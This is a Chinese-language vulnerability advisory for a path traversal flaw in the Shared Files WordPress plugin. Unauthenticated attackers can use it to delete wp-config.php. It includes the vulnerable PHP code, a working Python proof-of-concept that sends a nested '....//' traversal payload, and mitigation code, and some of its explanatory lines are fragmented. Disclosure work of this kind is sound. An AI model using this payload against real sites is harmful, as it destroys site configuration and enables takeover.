CVE-2026-12513 是一个影响 Shared Files 和 Shared Files Pro WordPress 插件(版本低于 1.7.68)的未认证任意文件删除漏洞,通过路径遍历实现,由网络安全研究员 Huynh Kien Minh(MinhHK)发现并分析。该缺陷存在于插件的前端文件提交处理流程中,用户提供的文件路径使用存在缺陷的单次遍历模式替换进行过滤,可通过嵌套序列(如 ....//)绕过。因此,未认证的远程攻击者可以提交指向预期上传目录之外的被操纵路径,以攻击关键服务器资产,包括 wp-config.php。当管理员随后清除或永久删除上传条目时,应用程序会对存储的任意路径调用文件系统删除原语()。这会导致核心 WordPress 配置文件被销毁,引发严重的拒绝服务,并通过未配置的安装设置实现站点接管。首席研究员 Huynh Kien Minh 在 CVSS 3.1 评分 6.8(中危)(CWE-73 / CWE-22)下评估了此漏洞,建议立即将插件更新至 1.7.68 或更高版本,并实施稳健的规范路径验证。
unlink()快速链接: 探索研究员的官方网络安全作品集或查看 WPScan 已验证公告。
| 参数 | 技术规格 |
|---|---|
| 漏洞标识符 | CVE-2026-12513 |
| 目标软件 | Shared Files / Shared Files Pro(WordPress 插件) |
| 插件标识 | shared-files、shared-files-pro |
| 受影响版本 | < 1.7.68 |
| 修复版本 | >= 1.7.68 |
| 漏洞类别 | 文件名或路径的外部控制 / 路径遍历(CWE-73 / CWE-22) |
| CVSS v3.1 评分 | 6.8(中危)(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| 发现者 / 研究员 | Huynh Kien Minh(MinhHK) |
| 验证机构 | WPScan / MITRE Corporation |
| WPScan 公告参考 | WPScan 报告 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| 研究员作品集 | https://minhhk.web.app/ |
该漏洞源于 Shared Files(< 1.7.68)前端文件提交处理程序中实现的路径清理机制不充分。
在接受前端文件提交时,插件尝试使用单次字符串替换来剥离目录遍历序列(../):
// Shared Files < 1.7.68 中不安全的单次清理过滤器
$file_path = str_replace( '../', '', $_POST['file_path'] );
由于 str_replace() 仅从左到右执行一次:
....//....//....//wp-config.php....// 中剥离一次 ../ 时,外层字符会重新折叠在一起形成 ../:
....// -> ../../../../../wp-config.php!wp_posts 或自定义插件表中)。/wp-admin/admin.php?page=shared-files 审查提交或删除文件记录时,后端会对解析后的存储路径调用 unlink():// 易受攻击的删除逻辑
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // 触发目标文件删除(例如 /var/www/html/wp-config.php)
}
wp-config.php 被删除:
/wp-admin/install.php)。道德免责声明: 此概念验证严格用于教育研究、防御性验证以及由 Huynh Kien Minh 在道德披露协议下进行的安全审计。
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 未认证路径遍历文件删除 PoC
作者:Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] 审计目标:{target_url}")
# 嵌套遍历序列,绕过单次 str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] 提交响应状态:{response.status_code}")
if response.status_code == 200:
print("[+] 遍历路径成功注入数据库存储。")
print("[!] 当管理员删除该条目时,目标文件将被 unlink。")
return True
else:
print(f"[-] 请求失败,HTTP 状态:{response.status_code}")
except requests.RequestException as e:
print(f"[-] 连接失败:{e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 或更高版本。wp-config.php 的文件系统权限对 Web 服务器进程为只读(chmod 400 或 440)。使用 realpath() 和 wp_normalize_path() 强制实施严格的规范路径解析,确保操作保持在指定的上传边界内:
// 安全路径验证模式(版本 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// 确保解析后的 realpath 严格以指定的基础目录开头
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( '无效或未授权的文件路径。', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh(MinhHK) 是一名信息安全研究员,专注于 WordPress 漏洞研究、核心与插件安全审计以及防御性漏洞利用建模。
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}